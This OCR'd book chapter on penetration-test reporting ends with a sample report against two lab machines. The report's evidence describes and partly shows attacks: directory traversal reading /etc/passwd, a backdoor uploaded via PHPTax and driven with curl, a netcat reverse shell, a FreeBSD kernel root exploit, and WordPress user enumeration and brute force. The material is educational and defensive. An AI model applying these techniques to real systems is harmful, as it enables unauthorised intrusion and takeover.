Determine the most common attack methods that could be used to target the
systems. These could include organization’s sensitive data, source codes,
financial records, personnel data, and so on., focus on the aspects that you
believe the adversaries could target and could be more valuable to them.
Also, at the same time focusing only on super critical items is a big mistake,
as you may leave out other areas or assets that may contain low hanging
vulnerabilities which can be used to obtain initial foothold and leveraged to
pivot from there.

Keeping yourself updated:

It is needless to say that performing penetration testing is highly
challenging especially when it comes along with time constraints, this is
why it is important to have your act together and maintain focus during the
engagements. The best way to maintain speed is to fully ingrain the process
by practicing various commonly used tools and technique used to perform
the job, which will not only improve the test speed but also help produce
accurate and precise results. As a penetration tester you must be aware of



the latest tools and techniques used in the industry. Think like an attacker,
anticipate and follow the techniques which probably the attackers would
follow. There are abundant tools available in form of commercial,
opensource and freeware, choose your tools wisely.

Plan the tools based on the techniques you are going to use to execute and
the type of assets, depth of testing you would like to perform. Utilize
automation to speed up large volume tasks during a penetration testing
tools, this will not only increase speed of the scanning but also help with
consistency over multiple scans that you would perform.

Importance of report writing:

There is a saying which I learnt from one of my previous job, “Nothing is
complete, unless the documentation is complete”. The importance of report
writing and accurately capturing everything in it is always paramount. As a
penetration tester it is your responsibility to highlight everything in your
final report, un-filtered, write what you found, follow a set format (we have
shared one such format in this chapter later as an example). Pay attention to
details, make sure you have created distinct sections in the report for
various stakeholder. For example, Executive summary section is for the
decision makers to look at as a snapshot showing the high-level findings
and a brief summary, more detailed and technical section for the operations
and asset stakeholder to read, so that they can carry out remediation.
Remove any false positives in your findings and only keep things that make
sense. Don’t just fill out erroneous and meaningless data to make the report
bloated to make it look bigger. Requirement is to show the true findings and
not a bigger report. Be accurate, descriptive, and provide recommendations
to fix for the flaws and issues you found.

Remediate discovered findings:

The goal of penetration testing is to find and eventually remediate security
weaknesses in the target environment, the importance of working together
during the remediation phase should be into account. The testers should
make it a point to work along with the remediation teams to help the team
make sense of the report and understand the finding well, so that they can
implement the corrective measures correctly. Oftentimes the report is not
properly understood and hence the remediation does not get implemented
effectively, or even worse, ignored due to lack of understanding.



Once the remediation is complete, the penetration test must be repeated to
check for closure of the issues identified., there 1s no alternative to a
focused re-test as it helps check whether the remediations implemented on
the systems truly worked.

Make sure to backup all your data:

Before you commence penetration testing, it’s always a best practice that
you backup all the essential and critical data, configurations, snapshots of
your applications, servers. You must also give due considerations to the
shared files stored in data stores, databases, which may be in the scope for
testing. You must also give proper importance to source code files if you are
planning to scan or test the systems and applications hosting code
repositories. One of the most important assets to backup is the Active
Directory, and Domain Controllers, if they are in scope, and you are
planning to run various identity related tests.

Don’ts

It is easy for a penetration tester to get quite engrossed in the testing such
that one may forget or bypass the boundaries set for the engagement, or
may be take a bypass, or just avoid certain rules to follow to achieve results.
This 1s extremely dangerous and will inadvertently lead to serious
consequences for the tester and the organization.

Let’s take a look at such points that you as a penetration tester must not do
and keep in mind at all times during an engagement.

Not being ethical:

The common alternative term used for penetration testing is “Ethical
Hacking”, and this is one thing that all the testers should always bear in
mind. One cannot afford to be unprofessional, or unethical in performing
your duties as a tester. During testing you should expect to come across
some sensitive, personal, financial or otherwise restricted data. You must
always follow the rules of engagement for dealing with such exposure and
consult all your findings with the relevant higher authorities in the
organization instead of keeping or hiding such information for any personal
gain later. The ethical part of hacking is what got you the project and is the



only thread which helps builds trust between the organization and the
testers/testing team.

Not accepting of test results:

During tests you might face situations when there are no findings at all,
even after trying all known testing methods, tools and exploitation
techniques. This is quite normal and you must embrace it, this could be due
to various reasons, simplest could be that the systems are really secured and
patched, with proper countermeasures implemented. Not finding any flaws
does not in any way reflect the inability or inefficiency of the tester or the
testing team. Instead, it does solidify the fact that you left no stones
unturned to find flaws, and you found it to be really secured. Testers must
keep emotions out of the job, penetration testing is not about the testing of
your ability but the other way around.

On the other hand, this is also true that if you are not finding anything
consistently over multiple periods of time, then in that case may be its time
to change the approach, tools, or technique, or maybe there is something
lacking in the system knowledge and so on., which must be evaluated too.
Don’t get too comfortable either, find a balance and be analytical on a case-
to-case basis.

Not following the scope of the project:

I am sure that as a penetration tester you are being tasked or paid to break
the norms, status quo, or even the standard rules of the system, just like any
attacker would do. But if this is not thought out carefully then you may end
up taking it too far, and you might end up doing something that has not
been authorized or permitted within the agreed scope.

Though the job of a pen tester is to simulate how an attacker would perform
their duties, you must stay within the boundaries set aside as a testing scope
even though may be very enticing to find flaws, run exploits to compromise
and take over the targets, Do not do anything that you have not been
explicitly authorized to carry out, it is important to keep in mind that
oftentimes the tests are being run on production systems and any negligent
behaviour of behalf of the tester may cause real world impact.

Always ensure that the rules of engagement are agreed upon by the parties
before each test or as a framework if it’s an internal team, and under no



circumstances are those to be broken.

Don’t be infrequent in testing schedule or perform testing solely to
meet compliance requirements:

Organizations often follow a practice of performing testing only once or
twice in a year.

It’s done because they solely intend to meet compliance requirements set
forth by the organizational policies or regulatory requirements. If you
perform tests occasionally then it might be quite possible that your tests
may not be able to adequately cover all potential security weaknesses.
Though meeting compliance is very important to maintain, but at no stage
can this be the only reason to perform penetration tests.

Remember, attackers do not have to adhere to any compliance requirements
to attack the target systems, so why should an organization limit themselves
to compliance requirements? The primary driver of a penetration testing
should always be to uncover security flaws and weaknesses and fix them
before they are targeted by attackers, and not just because you have to
maintain compliance and satisfy the auditors. Infrequent or irregular tests
also do not provide any visibility to the actual situation, as the test results
are only valid at the time of testing, and only reflect the snapshot of the
security state at the time of testing and cannot show what could go wrong in
between. This approach often allows gaps to exist in the environment
between tests unless you are looking for them continuously.

Usage of unauthorized tools and scripts:

Most of us as penetration testers have access to many free, opensource and
commercial tools for our jobs. We also have access to many custom
developed scripts or tools by other researchers, though these tools or scripts
may be good and makes the job as a tester easier, it is extremely important
for us to make sure that we make sure what these tools actually do. What is
the intended outcome from those tools, and they align with our rules of
engagement? You should not use any tools, scripts, commands without fully
understanding it and its impact. You might end up taking down the system
unknowingly or unintentionally. Be absolutely sure what tools you are using
and those are tested, verified and authorized by your organization or client.
In case the client or your organization is not able to validate those tools in



some cases due to lack of experience or knowledge, then you as a tester
should be professional enough to do that verification on your own and make
sure to use the right set of tools. Professionalism as a penetration tester is
always paramount.

Conclusion

This chapter covered the importance of the reporting phase, understanding
the various types of stakeholders of the report, and the general do’s and
don’ts to be followed during the penetration testing engagement.

We also showcased a sample report for two target hosts tested in this book
which may be used by the readers as a template vehicle to deliver their
findings to their clients in a clean, concise and organized fashion.

Questions

1. How many types of stakeholders did we read about in the book?

2. Explain the details that each type of stakeholder would look for in a
penetration test report?

3. What are the most important factors that you need to remember, which
can or cannot be done during penetration testing?



Penetration
Testing Report

(Sample)

ClientCorp
<ClientCorp Logo>

By

SecTest
<SecTest Company Logo>

Report Date - DD-MM-YYYY
Document Reference; PT/CLIENTCORP/ < XXXXXXX>



Project details

ClientCorp intends to safeguard its cyber assets against accidental or
deliberate attempts to access or compromise sensitive information.

In line with ClientCorp’s vision to continuously improve its Information
Security posture, 2 critical systems belonging to ClientCorp were identified
for Penetration Testing.

The exercise was carried with an objective to identify the security
vulnerabilities in the targets identified in the scope of work and simulate the
true impact by simulating a real-world hacker attack by exploiting the
weaknesses 1dentified.

Version control

Report Issue

i Author Approver Remarks
Version Date
DD-MM- Draft
1.0 YYYY <Name - Team Lead> | <IName - Project Manager= Re;:art
DD-MM- Final
20 YYYY <Name - Team Lead> | <IName - Project Manager= R»:—'-L;::Izri'

Table 10.1: Version Control

Distribution list

This document is primarily meant for the concerned personnel listed below.
Further dissemination of this document is entirely at the discretion of
management of ClientCorp.




Report : . s
EP. Issue Date Name Role [ Designation | Organisation
Version
Name 1 Team Lead SecTest
5.0 DD-MM- MName 2 Project Manager SecTest
' YYYY
Name 3 Stakeholder 1 ClientCorp
Name 4 Stakeholder 2 ClientCorp
Table 10.2: Distribution List
Test team details
Member T .

Wi Organisation Role E-Mail Phone
Name 1 SecTest Tester tester@sectest 0123456789
Name 2 SecTest Team Lead teamlead@sectest 0123456789

Project
Name 3 SecTest ok manager@sectest 0123456789
Manager

Table 10.3: Test team details

Client team details




Member

Organisation Role E-Mail Phone
Name
Name 4 ClientCorp Coordinator | coordinator@client 0123456789
Name 5 ClientCorp Tech Staff-IT techstatf-it@client 0123456789
TechStaff-

Name6 | ClientCorp © ;PP techstaff-app@client | 0123456789
. y Project 3 ; o
Name 7 ClientCorp manager@client 0123456789

Manager

Table 10.4: Client team details

Scope of work

SecTest consultants were engaged to perform a Black Box Penetration Test
on the following list of hosts identified by ClientCorp:

Serial
era Host Name IP Address
Number
1 Kioptrix:d 10.0.2.238
2 Mumbai:1 10.0.2.6

Table 10.5: Scope of work

Project timeframe

The Penetration Test was performed from DD-MMM-YYYY to DD-
MMM-YYYY.

Testing window

The penetration testing of the systems was carried out only during 2 PM to
10 PM on weekdays, and 9 AM 10 PM on weekends as specified by the
ClientCorp.




Test limitations

Tests which could potentially result in service disruption or degradation in
system performance such Denial of Service were not carried out.

Test methodology

SecTest consultants believe in adopting a holistic approach towards security
testing. Our testers ensure an in-depth test coverage through a mix of
automated and manual scanning techniques the same way a real world
‘hacker’ would to identify the security issues.

Phase 1: Scoping and planning

The objective of this survey is to identify the target systems, estimated time
frame and the work-effort required to complete the assignment.

The following is established during the Scoping and Planning phase:

. List of systems in scope of testing.

. Testing timeline.

. Testing window.

. Testing constraints or limitations.

. List of key personnel and stakeholders.
. Escalation matrix.

. Identify Firewalls/IDS/IPS/APT systems which have the potential to
interfere with the scanning.

N N L A W N

8. Communication about the penetration testing window to the relevant
IT, Admin and Security staff, to monitor the scans and remain vigilant
during the testing window.

9. Compliance requirements arising out of company policy or standards
such as ISO/IEC 27000, PCI-DSS, and so on.

Note: No scanning is performed on the target systems in this phase.
This phase sets the stage for the entire exercise by setting up the project
plan, deliverables, timelines, project coordinators and the team.



Phase 2: Information gathering and
reconnaissance

During this phase of testing, information about the target hosts is gathered
to identify the nature / behavior of the target hosts such as web, mail, file,
print server, network devices such as routers, firewalls, switches, intrusion
detection / prevention systems and so on.

The systems are initially scanned for open ports and the services running
behind the open ports are identified to help in building a complete picture of
the open ports and corresponding services running on the target systems.

The main objectives of this phase are as follows:

1. Identify the open/closed/filtered TCP/UDP ports on the target system.
2. Identify the services running behind the open ports.

3. Identify the operating system running on the target host.

4. Build a footprint using publicly available information.

Phase 3: Service enumeration and scanning

This phase uses the information gathered in the previous phases to map out
the various entry points into the services. The potential entry points are
further scanned using various automated tools and manual techniques to
identify the potential vulnerabilities associated with the target hosts.

Repeat scanning using a different set of tools may be undertaken to ensure
adequate scanning coverage and minimization of false positive or negative
findings.

Phase 4: Vulnerability research

The objective of this step is to understand and research upon the
vulnerabilities identified on the target systems. This is a manual phase
which involves searching offline and online vulnerability databases,
security forums, security portals, code repositories, mailing lists, blogs, and
so on. to identify the exploitability of the vulnerabilities identified.

This phase like the previous one may require re-verification of the
vulnerabilities to increase the accuracy of the exercise.



Phase S: Exploitation

This phase of the penetration test focuses solely on obtaining access on the
target systems by leveraging the vulnerabilities identified in the previous
stage.

The wvulnerabilities identified on the target are exploited using a
combination of manual techniques and automated exploitation frameworks
to gain access to sensitive data or obtain interactive shell access on the
target system.

Phase 6: Reporting

This phase involves correlation of all the data and evidence gathered during
the previous stages and compiling the information into a meaningful
document keeping various types of technical and non-technical audience in
mind.

The executive summary section is designed specifically to provide the non-
technical audience a high-level view of the engagement along with the
applicable non-technical measures which can be adopted to mitigate the
vulnerabilities.

The technical summary section is designed with technically savvy users in
mind and showcases the actual vulnerabilities identified on the targets and
their impacts, the vulnerabilities reported contain detailed technical
recommendations and references to aid the technical staff in their effective
mitigation.

Standard definitions

For the purpose of this document, following standard definitions are to be
considered:

Vulnerability: A flaw or weakness in system security procedures, design,
implementation which when exploited accidentally or intentionally allows
the attacker to gain any form of unauthorized access to the system or
sensitive data.

Threat: A potential negative action or event that results in an unwanted
impact to a computer system or application.



Risk: The likelihood of occurrence of an adverse event and the potential
impact of the event to the organization.

Severity rating

High: Vulnerability that can directly / indirectly lead to the target host being
compromised. Some examples of such compromise are vulnerabilities that
allow the following:

e Disruption of services.

e Unauthorized execution of code.

e Unauthorized theft, modification or deletion of sensitive data.
Medium: Vulnerability that can lead to compromise of the host, but not by
itself. It 1s important to note that medium risk vulnerabilities can be

combined with other Medium and low risk vulnerabilities to obtain leverage
and compromise the host.

Some examples of Medium risk vulnerabilities are:

o Leakage of sensitive data such as internal IP addresses and hostnames.

» Leakage of service configuration files or system data.

e Provide information on security controls causing adverse impact to
their effectiveness.

Low: Vulnerability that provides excessive information about the host or its
operating environment enabling an attacker / malicious user to further
his/her access to the target system/s.

Some examples of Low risk vulnerabilities are as follows:

e Service banner leaking version information.
e Default system services.

e Insecure Protocols.

Executive summary

Consultants from SecTest were engaged to conduct a Penetration Test on
two systems identified by ClientCorp. This test was performed with the




intention to assess the security posture of the systems in scope, and provide
security assurance through proactive identification of security issues.

The issues identified as a part of this exercise have been validated to
remove any false findings, their security issues have been rated to reflect
their severity.

This report contains the strategic and tactical recommendations that
ClientCorp can adopt to mitigate the issues identified herein.

Graphical overview

The following chart denotes the number and severity of vulnerabilities
found on the target systems during the engagement along with the risk
distribution:

4

Risk Distribution

Low
33.3%
High
44 4%
Medium
22.2%

Figure 10.1: Findings

Vulnerability listing




Serial i
Vulnerabihity Name

1 Information disclosure through service banners.

(]

Information leakage in web page source code.

Multiple vulnerabilities in installed applications.

ik

4  Privilege escalation vulnerability in FreeBSD 9.0 kemniel.

5 FTF service allows anonymous user login.

[ WordPress username enumeration.

Sensitive files found on web server

8 Remote code execution in test.php APL

9 Privilege escalation apiuser is member of docker group.

Table 10.6: List of findings

The technical details of the wvulnerabilities identified along with their
respective screenshots can be found further in the technical summary

section of this report document.

Summarized analysis

SecTest determined that the overall security posture of the ClientCorp’s
systems was Poor. Our testers identified multiple security issues affecting
the target systems and exploited them to gain unauthorized access on the
targets and further leverage them to achieve full administrative control on

the targets.

e Service banners instances were found leaking details regarding the
type and versions of services running on the target systems. Such
information may enable attackers to understand background workings
of the target, find vulnerabilities and fine tune their attack

methodology.

e Developer comment in a web page source code leaked details
regarding a hidden resource location. Such information may enable
attackers to understand background workings of the target, find

Hosts
Affected

Kioptrix:5
Mumbai:l

Kioptrix:3
Kioptrix:5
Kioptrix:5
Mumbai:1

Mumbai:l

Mumbai:1
Mumbai:l

Mumbai:l

vulnerabilities and fine tune their attack methodology.




Insecure versions of applications application packages containing
multiple known security issues were found on the target systems. The
issues present allowed us to read sensitive system files and execute
system commands leading to the eventual compromise of the
Kioptrix:5 target

Lack of service hardening, an FTP service was found to allow logins
from anonymous users. The server hosted a file containing developer

comments which leaked sensitive information about server
implementation.

Test API page was found to contain a vulnerability which allowed us
to execute code on the server and obtain interactive shell access on the
Mumbai:1 target.

Security misconfigurations such as sudo permissions to execute
docker (without password) and docker group membership allows the
apiuser to obtain administrative privileges and take over the Mumbai:1
target.

Strategic recommendations

The following optional measures can be implemented to improve security
posture across the organization:

It is highly recommended that hardening procedures be adopted and
regularized to avoid leakage of service information.

Checks and measures should be adopted to ensure sanitization of code
before moving it to the production environment.

Implement procedural controls to periodically monitor, identify and
maintain system packages for security issues.

Checks and measures should be implemented to ensure that services
are hardened, unnecessary functionalities are disabled and any
unwanted data removed or sanitized before moving the services into
the production environment.

Secure coding practices should be adopted to minimize security issues.

Technical summary



LOW-1

e Vul bl
Vulnerability Affected Hosts Port/Protocol o ner.a €
Service
Information disclosure Kioptrix:5 80 TCP - HTTP Apache
through service banners
8080 TCP - HTTP
Mumbai:l 21 TCP - FIP vsitpd
22 TCP - S3SH OpenSSH
80 TCP - HTTP ﬁpache
8000 TCP - HTTP nginx

Observation

The aforementioned services running on the target systems were found to be advertising
their version details and operating system information.

Impact
Disclosure of sensitive information through service banners may enable attackers to
understand the inner workings of the target, find vulnerabilities and fine tune their attack
methodology.

Exploitation
The details of the information gathered from the banner information have been listed
below:
Kioptrix:5 Port 80 - Apache httpd 2.2.21 ((FreeBSD) mod_ss1/2.2.21

OpenSSL/0.9.8q DAV /2 PHF/5.3.8)

Port 8080 - Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q DAV /2 PHP/5.3.8)

Mumbai:1 Port 21 -vsttpd 3.0.3
Port 22 - openssh 7.6pl ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
Port 80 - Apache 2.4.29 ((ubuntu))
Port 8000 - nginx 1.14.0 (Ubuntu)
Recommendation

It is strongly advised that the services identified above be configured to prevent leakage
of sensitive information.
References

https://cwe.mitre.org/data/definitions/200.html



LOW-2

Vulnerability Affected Hosts Port/Protocol Vldnﬂ:ahle
Service
Information leakage in web Kioptrix:5 80 TCP - HTTP Apache

page source code.
Observation

The source code of the default landing page contained a developer comment which
disclosed a hidden system resource:

Kioptrix:5 Vulnerable location: Default landing page
Impact

Disclosure of sensitive information may enable attackers to understand the inner
workings of the target, find vulnerabilities and fine tune their attack methodology.

Exploitation Evidences

«l= C o view-source:http:/f10.0.2.104/ v e @ Ty m M =
*, Kali Linux “W, Kali Training "%, Kali Tools "\, Kali Docs 'S Kali Forums S MetHunter [ Offensive Security »
=himl>
<head=

f s
<META WITP-EQUIV="refresh” CONTENT="5;URL=pChart2.1.3/index. php"=
o,

< fhaad>

<bady>
<hl=It works|</hl=
¢|Fh|udr,;
<fhtml=

Figure 10.2

The page source contains a developer comment which discloses the path to
a hidden resource.

[:_{—j:' =5 O & ® 10.0.2.104/pChart2.1.3/examplesfindex.php - @ m o =
", Kali Linux “W, Kali Training ', Kali Tools "\, Kali Docs 'S, Kali Forums S, MetHunter [ Offensive Security »
i Examples ] sandbox ] Delayed loader [T Image Map

Figure 10.3

Browsing to the path opens the default pChart application page.

Recommendation



It is strongly advised that the services identified above be configured to
prevent leakage of sensitive information.

References

https://cwe.mitre.org/data/definitions/200.html

https://owasp.org/www-project-top-ten/2017/A6_2017-
Security_Misconfiguration

HIGH-1

ili Vul bl
Vulnerability Affected Hosts Port/Protocol R S
Service
Multiple  wulnerabilities in Kioptrix:5 80 TCP - HTTP Apache

installed applications.
8080 TCP - HTTP

Observation

The versions of Apache, pChart and PHPTax applications installed on the
remote target are insecure and contain multiple exploitable security issues.

Impact

The applications shown above contain several known security issues such
as denial of service, directory traversal and remote code execution. These
vulnerabilities could be exploited by a malicious attacker to cause service
disruptions, obtain access to sensitive files and execute arbitrary code on
the target.

Exploitation Evidences

-:jf(—'_' 2> C 6 @ 10.0.2.104/pChart2.1.3/examples/index.p o+ » =

# $FreeBSD: release/9.8.0/etc/master.passwd 218847 2011-81-28 22:29:387 pjd &
#

root:*:@:8:Charlie &:/root:/bin/ecsh

toor:*:@:8:Bourne-again Superuser:/root:

daemon:*:1:1:0wner of many system processes:/root:fusr/sbin/nologin
operator:*:2:5:5ystem &:/:fusr/sbin/nologin

bin:*:3:7:Binaries Commands and Source:/:/usr/sbinsnologin

tty:*:4:65533: Tty Sandbox:/:fusr/sbin/nologin

Figure 10.4



We crafted an exploit URL which allowed us to access the /etc/passwd file
on the target.

&2 - @ 10.0.2.104/pChart2.1.3/examples/index.phj = P o ¥ » =

-

SetEnvIf User-Agent “Mozilla/4.8 Mozillad browser

<VirtualHost *:B686=
DocumentRoot fusr/local/www/apache22/dataZ

<Directory "/fusr/local/wew/apache22/data2">
Options Indexes FollowSymLinks
AllowOverride ALl

Order allow,deny
Allow from env=Mozillad browser
</Directory=

Figure 10.5

Using the same exploit, we were able to access the Apache configuration
file and identify another application running on port 8080. This service was
only accessible if the User-Agent of the client was set to Mozilla/4.0
Mozilla4 browser.

r »

PHPTAX by William L. Berggren 2003({c) - Mozilla Firefox e ® 0

PHPTAX by William L. Berq: X | +

(&)= @ B @ 10.0.2.104:8080/phptax/ 0% | G Y| » =
FPupTAX W A
e — et LS Inividaal income Tax Astum SI02 | m scoe oo
3_1_1]41] o 'ﬁi }‘1u4u .r.-:‘:-:-:-..:.-,-l." |-ruu-.-.-u4:.-.. = in = __._H_-'
e HEE e Hi e | Bergecens nvainl
e i o e
e HilEra: HE (515 alcon tvtous__——_Lia o] A oo &
e L 1L Chatiacis G iamis GagE " ) e
SCHD i_g :; SCHD isl= _n.._...':_._uuu?f:::_-u....nﬂ.mt e e er™
Figure 10.6

Armed with this information we were able to change the User-Agent and
access the PHPTax application running on port 8080.

2.104 (19.8.2.104)

yhp?field=rce. php&newvall 3IC%3Fp GET%:SECm

Figure 10.7



We exploited a remote code execution vulnerability in the PHPTax
application to upload a backdoor rce.php on the target system.

# curl -A "Mozillas4.0 Mozilla 4browser™ http://10.08.2.104:808

Figure 10.8

Using the newly uploaded backdoor we were able to execute commands on
the target system with the privileges of www user as shown in the output of
the 1d command.

=ning on [z
2.104: i
t to [1

an't access

+ 1d
Uid=80(www) gid=80|

Figure 10.9

We obtained an interactive reverse shell connection using netcat installed on
the target.

Recommendation

It is recommended that the packages identified above be upgraded to the
latest version.

References

https://owasp.org/www-project-top-ten/2017/A9_2017-

Using_Components_with_Known_Vulnerabilities

HIGH-2

Vulnerability Affected Hosts Port/Protocol Vulner_able
Service

Privilege escalation Kioptrix:5 Not applicable FreeBSD
vulnerability in FreeBSD 9.0 9.0 Kernel

kernel

Observation



The version of FreeBSD installed on the target system contains a privilege
escalation vulnerability.

Impact

This vulnerability when exploited, allows a regular system user to attain
administrative privileges and take over the target system.

Exploitation Evidences

$ gcc exploit.c -0 exploit
xploit.c:89:2: warning: no newline at end of file

=
ltl
$

: =1 exploit

-TWXr-Xr-% 1 www wheel

Figure 10.10

We uploaded the exploit code on the target and compiled it using gcc.

£ ./fexploit
id

uid=8{root) gid=0(wheel) egid=80(www) groups=80(www)

Figure 10.11

The compiled exploit allowed us to obtain root user’s privileges on the
Kioptrix:5 target and attain full administrative control over it.

Recommendation

It is recommended that the packages identified above be upgraded to the
latest version.

References

https://nvd.nist.gov/vuln/detail/ CVE-2012-0217

https://www.freebsd.org/security/advisories/FreeBSD-SA-
12:04.sysret.asc




LOW-3

= Vul bl
Vulnerability Affected Hosts  Port/Protocol 3 r}era &
Service
FTF service allows anonymous Mumbai:l 21 TCP - FTP vsftpd

user login
Observation

The remote FTP service is configured to allow access from anonymous
user.

Impact

This configuration setting allows remote user to use anonymous as the
username and authenticate without providing a password or unique
credentials. The user is allowed to access any files made available by the
FTP server.

Exploitation Evidences

: # ftp 10.0.2.6
Connected to 16.8.2
228 (vsFTPd 3.0.3)
.B:root): anonymous
specify the password.

|f'||]. +
is UNIX.
'y mode to transfer files.
S
3 PORT ¢
B Here

226 Directory send OK.

Figure 10.12

We were able to connect to the vsftpd service as anonymous, the directory
listing of the ftp server shows a single file called Note.



@ > C @ | ® fp//10.02.6/Note - O | »

"%, KaliLinux & Kali Training " Kali Tools “% KaliDocs "%, Kali Forums ‘& NetHunter »
TODO

Move these multiple HTTP Servers running to Docker. I hear containers make things inherently
secure - maybe this will shut those security researchers up.

Also, don't forget to remove all those privilege escalation exploits from ftmp - we don't want to
rebuild the server again.

- AbsoZed

Figure 10.13

The ‘Note’ file contains internal developer communication regarding
docker implementation and privilege escalation vulnerabilities.

Recommendation

It is recommended to disable anonymous logins on the FTP service unless
absolutely required.

Additionally, all developer comments or communication should be removed
from the system.

References

https://nvd.nist.gov/vuln/detail/ CVE-2012-0217

Security_Misconfiguration

MEDIUM-1
Vulnerability Affected Hosts Port/Protocol Vuhler_able
Service
WordPress username Mumbaitl B0 TCP -HTTP WordPress

enumeration

It is possible to enumerate usernames on the remote WordPress
implementation.

Impact

Attackers can exploit this flaw to find out valid usernames on the target
system and use this information to craft social engineering attacks or



bruteforce the accounts.

Exploitation Evidences

Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:18 <==>= (10 / 10) 100.00% Time: 00:00:18

User(s) Identified:

absozed
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Loginm Error Messa

Figure 10.14

We were able to enumerate the usernames on the Mumbai:1 target and
1dentified a valid WordPress user called ‘absozed’.

Performing pa rd attack on Wp Logln against 1 user/s
Trying / Ung 121 Time: 711 / 1888} 71.09% ETA: 88
Trying a d / polina Time: @0:00:36 <==> (1600 / 10008) 100.00% Time:

No Valid Passwords Found.

Figure 10.15

Our attempt to bruteforce the password for user absozed did not succeed.
Recommendation

It is recommended to configure the remote WordPress installation to
prevent username enumeration.

References

https://www.getastra.com/blog/cms/wordpress-security/stop-user-
enumeration/

https://owasp.org/www-project-top-ten/2017/A6_2017-
Security_Misconfiguration




Vulnerable

Vulnerability Affected Hosts Port/Protocol ;
Service
Sensitive files found on web | Mumbai:l 8000 TCP - HTTP nginx
SErver.
Observation

Sensitive files .bash history and .bashrc were present on the remote
server’s webroot directory.

Impact

Disclosure of sensitive information may enable attackers to understand the
inner workings of the target, find vulnerabilities and fine tune their attack
methodology.

Exploitation Evidences

# curl http://10.0.2.6:80008/.bash history
1ls
export PATH=/api:/fusr/local/bin:/bin:fusr/bin
ls
sudo docker build -t root . -f Dockerfile
sudo docker rum -v /:/host05 -i -t root
: # curl http://10.9.2.6:8000/.bashrc

PATH=/api:fusr/local/bin
- #

Figure 10.16

The contents of .bash_history shows a system user’s commands history
and the .pashrc file shows the environment variable PATH.

Recommendation
It is recommended that these files be removed from the webroot directory.
References

https://owasp.org/www-project-top-ten/2017/A3_2017-
Sensitive_Data_Exposure

https://cwe.mitre.org/data/definitions/552.html
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